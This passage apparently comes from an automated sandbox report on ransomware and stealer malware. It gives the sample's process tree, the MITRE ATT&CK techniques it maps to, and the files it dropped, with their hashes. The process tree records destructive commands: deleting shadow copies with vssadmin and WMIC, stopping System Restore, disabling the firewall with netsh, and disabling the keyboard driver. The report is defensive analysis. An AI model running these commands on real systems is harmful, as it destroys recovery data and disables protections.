                                                                PID:4812
                                                              • C:\Windows\System32\notepad.exe
                                                                "C:\Windows\System32\notepad.exe"
                                                                2⤵
                                                                  PID:4356
                                                                • C:\Windows\System32\vssadmin.exe
                                                                  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                  2⤵
                                                                  • Interacts with shadow copies
                                                                  PID:5216
                                                                • C:\Windows\System32\wbem\WMIC.exe
                                                                  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                                  2⤵
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:1360
                                                                • C:\Windows\System32\net.exe
                                                                  "C:\Windows\System32\net.exe" stop srservice
                                                                  2⤵
                                                                  • Suspicious use of WriteProcessMemory
                                                                  PID:4120
                                                                  • C:\Windows\system32\net1.exe
                                                                    C:\Windows\system32\net1 stop srservice
                                                                    3⤵
                                                                      PID:5480
                                                                  • C:\Windows\System32\netsh.exe
                                                                    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                                                                    2⤵
                                                                    • Modifies Windows Firewall
                                                                    • Event Triggered Execution: Netsh Helper DLL
                                                                    PID:4320
                                                                  • C:\Windows\System32\sc.exe
                                                                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                                                                    2⤵
                                                                    • Launches sc.exe
                                                                    PID:2632
                                                                  • C:\Windows\System32\sc.exe
                                                                    "C:\Windows\System32\sc.exe" stop i8042prt
                                                                    2⤵
                                                                    • Launches sc.exe
                                                                    PID:4656
                                                                    • C:\Windows\System32\Conhost.exe
                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      3⤵
                                                                        PID:2136
                                                                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                    1⤵
                                                                      PID:2712
                                                                    • C:\Windows\system32\vssvc.exe
                                                                      C:\Windows\system32\vssvc.exe
                                                                      1⤵
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:5340
                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-07-19_90dae9bb755c04a852cb16900f40d0fe_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\2026-07-19_90dae9bb755c04a852cb16900f40d0fe_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                                                      1⤵
                                                                        PID:308
                                                                      • C:\Users\Admin\AppData\Local\Temp\2026-07-19_90dae9bb755c04a852cb16900f40d0fe_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\2026-07-19_90dae9bb755c04a852cb16900f40d0fe_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                                                        1⤵
                                                                          PID:1916
                                                                        • C:\Windows\System32\sihclient.exe
                                                                          C:\Windows\System32\sihclient.exe /cv r4OfkIzyjEOpMYP++TG/HA.0.2
                                                                          1⤵
                                                                            PID:308
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k GPSvcGroup
                                                                            1⤵
                                                                              PID:1208
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                              1⤵
                                                                                PID:236
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                1⤵
                                                                                • Modifies data under HKEY_USERS
                                                                                PID:5612

                                                                              Network

                                                                                    MITRE ATT&CK Enterprise v16

                                                                                    Reconnaissance

                                                                                    Resource Development

                                                                                    Initial Access

                                                                                    Execution

                                                                                    Command and Scripting Interpreter

                                                                                    4
                                                                                    T1059

                                                                                    PowerShell

                                                                                    1
                                                                                    T1059.001

                                                                                    Visual Basic

                                                                                    1
                                                                                    T1059.005

                                                                                    Windows Command Shell

                                                                                    1
                                                                                    T1059.003

                                                                                    Scheduled Task/Job

                                                                                    1
                                                                                    T1053

                                                                                    Scheduled Task

                                                                                    1
                                                                                    T1053.005

                                                                                    System Services

                                                                                    2
                                                                                    T1569

                                                                                    Service Execution

                                                                                    2
                                                                                    T1569.002

                                                                                    Windows Management Instrumentation

                                                                                    1
                                                                                    T1047

                                                                                    Persistence

                                                                                    Boot or Logon Autostart Execution

                                                                                    1
                                                                                    T1547

                                                                                    Registry Run Keys / Startup Folder

                                                                                    1
                                                                                    T1547.001

                                                                                    Create or Modify System Process

                                                                                    4
                                                                                    T1543

                                                                                    Windows Service

                                                                                    4
                                                                                    T1543.003

                                                                                    Event Triggered Execution

                                                                                    2
                                                                                    T1546

                                                                                    Image File Execution Options Injection

                                                                                    1
                                                                                    T1546.012

                                                                                    Netsh Helper DLL

                                                                                    1
                                                                                    T1546.007

                                                                                    Scheduled Task/Job

                                                                                    1
                                                                                    T1053

                                                                                    Scheduled Task

                                                                                    1
                                                                                    T1053.005

                                                                                    Privilege Escalation

                                                                                    Boot or Logon Autostart Execution

                                                                                    1
                                                                                    T1547

                                                                                    Registry Run Keys / Startup Folder

                                                                                    1
                                                                                    T1547.001

                                                                                    Create or Modify System Process

                                                                                    4
                                                                                    T1543

                                                                                    Windows Service

                                                                                    4
                                                                                    T1543.003

                                                                                    Event Triggered Execution

                                                                                    2
                                                                                    T1546

                                                                                    Image File Execution Options Injection

                                                                                    1
                                                                                    T1546.012

                                                                                    Netsh Helper DLL

                                                                                    1
                                                                                    T1546.007

                                                                                    Scheduled Task/Job

                                                                                    1
                                                                                    T1053

                                                                                    Scheduled Task

                                                                                    1
                                                                                    T1053.005

                                                                                    Defense Evasion

                                                                                    Direct Volume Access

                                                                                    1
                                                                                    T1006

                                                                                    Impair Defenses

                                                                                    3
                                                                                    T1562

                                                                                    Disable or Modify System Firewall

                                                                                    1
                                                                                    T1562.004

                                                                                    Disable or Modify Tools

                                                                                    1
                                                                                    T1562.001

                                                                                    Indicator Removal

                                                                                    2
                                                                                    T1070

                                                                                    File Deletion

                                                                                    2
                                                                                    T1070.004

                                                                                    Modify Registry

                                                                                    3
                                                                                    T1112

                                                                                    Credential Access

                                                                                    Credentials from Password Stores

                                                                                    1
                                                                                    T1555

                                                                                    Credentials from Web Browsers

                                                                                    1
                                                                                    T1555.003

                                                                                    Unsecured Credentials

                                                                                    1
                                                                                    T1552

                                                                                    Credentials In Files

                                                                                    1
                                                                                    T1552.001

                                                                                    Discovery

                                                                                    Browser Information Discovery

                                                                                    1
                                                                                    T1217

                                                                                    Process Discovery

                                                                                    1
                                                                                    T1057

                                                                                    Query Registry

                                                                                    2
                                                                                    T1012

                                                                                    System Information Discovery

                                                                                    4
                                                                                    T1082

                                                                                    System Time Discovery

                                                                                    1
                                                                                    T1124

                                                                                    Lateral Movement

                                                                                    Collection

                                                                                    Data from Local System

                                                                                    1
                                                                                    T1005

                                                                                    Command and Control

                                                                                    Exfiltration

                                                                                    Impact

                                                                                    Defacement

                                                                                    1
                                                                                    T1491

                                                                                    Inhibit System Recovery

                                                                                    2
                                                                                    T1490

                                                                                    Service Stop

                                                                                    2
                                                                                    T1489

                                                                                    Replay Monitor

                                                                                    Loading Replay Monitor...

                                                                                    Downloads

                                                                                    scr_20260719_041207.jpg
                                                                                    • Path C:\ProgramData\SysUpdate\Scr\scr_20260719_041207.jpg
                                                                                    • Size 181KB
                                                                                    • SHA256 dcc1e4f77ed7cf6bce66c2fcc6a93a3ca4db021ee9ebc3d967569ef4210cd2c5
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    invoice_1.pdf
                                                                                    • Path C:\ProgramData\invoice_1.pdf
                                                                                    • Size 68KB
                                                                                    • SHA256 1988d3c8b061ac6604b8561f49f9df37b3328e8366ff966663d4778003289404
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    doc_3.pdf
                                                                                    • Path C:\SystemVolumeInformation\doc_3.pdf
                                                                                    • Size 67KB
                                                                                    • SHA256 a1cce78cc054ffa7da2c5f6ee65a53572cf2197e379c217254b6a7b153a073ee
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    BookmarkMergedSurfaceOrdering
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                                                                                    • Size 6B
                                                                                    • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                                                                    • MD5 SHA1 SHA512
                                                                                    Submit Download

                                                                                    f_000009
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000009
                                                                                    • Size 42KB
                                                                                    • SHA256 2123107379ba390f6892513cbce2f1aac49dc6881205a6b729760a72d42083ec
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    the-real-index
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                    • Size 408B
                                                                                    • SHA256 e1c4817ead4feaab3d9253824b41db7033529b1dc9307cff14512820850d347b
                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                    Submit Download

                                                                                    messages.json
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
                                                                                    • Size 593B
                                                                                    • SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                    Submit Download

                                                                                    craw_background.js
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
                                                                                    • Size 531KB
                                                                                    • SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    CURRENT
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
                                                                                    • Size 16B
                                                                                    • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
                                                                                    • MD5 SHA1 SHA512
                                                                                    Submit Download

                                                                                    History
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History
                                                                                    • Size 160KB
                                                                                    • SHA256 a2a0b4a1166b09dda73d73e3e43c95535bbf929d38dbe8d808a0621cbec0120a
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    Network Persistent State
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                                                    • Size 7KB
                                                                                    • SHA256 68281313caf1c745feb9dee43b0dc3d627982aac4a123ed000488f5dfec88b57
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    Network Persistent State
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                                                    • Size 1KB
                                                                                    • SHA256 6a7728f6daf6380500a33396a90e479927f47e053e970345e599f43bf631557b
                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                    Submit Download

                                                                                    SCT Auditing Pending Reports
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                                                                    • Size 2B
                                                                                    • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                                    • MD5 SHA1 SHA512
                                                                                    Submit Download

                                                                                    Preferences
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                    • Size 10KB
                                                                                    • SHA256 4acdf966c4c5577203f9173c43d950b0e61ce0e5feb47353cd889d188889fd58
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    Preferences
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                    • Size 12KB
                                                                                    • SHA256 25a9024fc758c207187dea642dbe564e56377525e78b9d7093511d1fe363d7dd
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    Secure Preferences
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                    • Size 11KB
                                                                                    • SHA256 48cbcc88875a7e40f96f5d34c4b47658bad92859246ba43e3509fc84d9a873d6
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    the-real-index
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                                                                    • Size 120B
                                                                                    • SHA256 929866a5201a298789f054137ce5354eb247a67bd666c248a9abaf4f60b9a1bd
                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                    Submit Download

                                                                                    the-real-index
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index
                                                                                    • Size 72B
                                                                                    • SHA256 52c45369b8375e67d5be0b5dcc78f4cacbbdc9ef912444e40b736bf85630f77a
                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                    Submit Download

                                                                                    the-real-index~RFe5a1d4d.TMP
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index~RFe5a1d4d.TMP
                                                                                    • Size 48B
                                                                                    • SHA256 1e0c026303cfbf6c64f4eb57f5499e7288039e40b4489d37202bf87eb4141489
                                                                                    • MD5 SHA1 SHA512
                                                                                    Submit Download

                                                                                    data_0
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_0
                                                                                    • Size 8KB
                                                                                    • SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                    Submit Download

                                                                                    data_1
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
                                                                                    • Size 264KB
                                                                                    • SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                    Submit Download

                                                                                    data_2
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_2
                                                                                    • Size 8KB
                                                                                    • SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                    Submit Download

                                                                                    data_3
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_3
                                                                                    • Size 8KB
                                                                                    • SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                    Submit Download

                                                                                    MANIFEST-000001
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001
                                                                                    • Size 41B
                                                                                    • SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
                                                                                    • MD5 SHA1 SHA512
                                                                                    Submit Download

                                                                                    Web Data
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                                                                                    • Size 138KB
                                                                                    • SHA256 880feb37516127b9d3519c705650eef22d889bdf6071dad6cf12bc44b216a601
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    Local State
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                    • Size 122KB
                                                                                    • SHA256 a6bd6401fe9b320b3316ec711f917bf632839c14e6d7343d6246e612eb2a7621
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    Local State
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                    • Size 122KB
                                                                                    • SHA256 4fb459c3fee9aa0ec3783e2ab48099f684c730a2bf95240b1628dbdad088da52
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    Local State
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                    • Size 4KB
                                                                                    • SHA256 954db17152b76db62053ed4c0a392279161f56687a3a57b7d306e7734670c1d4
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    Local State
                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                    • Size 5KB
                                                                                    • SHA256 d744f869b8da3233afef9d69b44c344fa4dbd6fc6be84b9a2482766c8b023511
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    createshortcut.vbs
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                                                                                    • Size 309B
                                                                                    • SHA256 5c0010e4b0e45cab99810edbb2098c3cf6ba1040b3e40b1f4280bc73a5bc628e
                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                    Submit Download

                                                                                    del.bat
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                                                                                    • Size 59B
                                                                                    • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                    Submit Download

                                                                                    makelnk.vbs
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                                                                                    • Size 310B
                                                                                    • SHA256 67c14079454e77a4048c99a087e595c4b7b42fa5e6a4ac03c22de739369a7044
                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                    Submit Download

                                                                                    messages.json
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4696_1486662288\CRX_INSTALL\_locales\en\messages.json
                                                                                    • Size 450B
                                                                                    • SHA256 c0945dd5fdecab40c45361bec068d1996e6ae01196dce524266d740808f753fe
                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                    Submit Download

                                                                                    temp_steal.log
                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                                                                                    • Size 243KB
                                                                                    • SHA256 2b240720e1f1620b151bd7db25a0d9986f8a4eeaf777c8733cc481bfdd37d84c
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    stolen_data_here.txt
                                                                                    • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                                                                                    • Size 243KB
                                                                                    • SHA256 f92e69c400f55ca83e32b30947b1910f7e85b0ccbdd1869210b3e439df9c1403
                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                    Submit Download

                                                                                    hosts
                                                                                    • Path C:\Windows\system32\drivers\etc\hosts
                                                                                    • Size 1KB
                                                                                    • SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                    Submit Download

                                                                                    hosts
                                                                                    • Path C:\Windows\system32\drivers\etc\hosts
                                                                                    • Size 1KB
                                                                                    • SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                    Submit Download

                                                                                    hosts
                                                                                    • Path C:\Windows\system32\drivers\etc\hosts
                                                                                    • Size 1KB
                                                                                    • SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                    Submit Download

                                                                                    memory/4316-33-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-30-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-2314-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-2331-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-2384-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-2388-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-2390-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-2400-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-2401-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-2406-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-2410-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-12-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-13-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-22-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-24-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-694-0x0000013870880000-0x000001387088A000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-23-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-443-0x00000138707C0000-0x0000013870872000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-408-0x0000013858690000-0x00000138586AE000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-14-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-34-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-35-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-29-0x0000013858140000-0x0000013858162000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-32-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4316-31-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4356-2428-0x0000025E42AD0000-0x0000025E42AD1000-memory.dmp
                                                                                    Download

                                                                                    memory/4912-1280-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4912-1801-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4912-791-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4912-1184-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4912-1247-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4912-0-0x00007FFF27A3F000-0x00007FFF27A40000-memory.dmp
                                                                                    Download

                                                                                    memory/4912-8-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4912-6-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4912-5-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4912-4-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4912-3-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4912-2-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
                                                                                    Download

                                                                                    memory/4912-1-0x0000000000C80000-0x0000000000C92000-memory.dmp
                                                                                    Download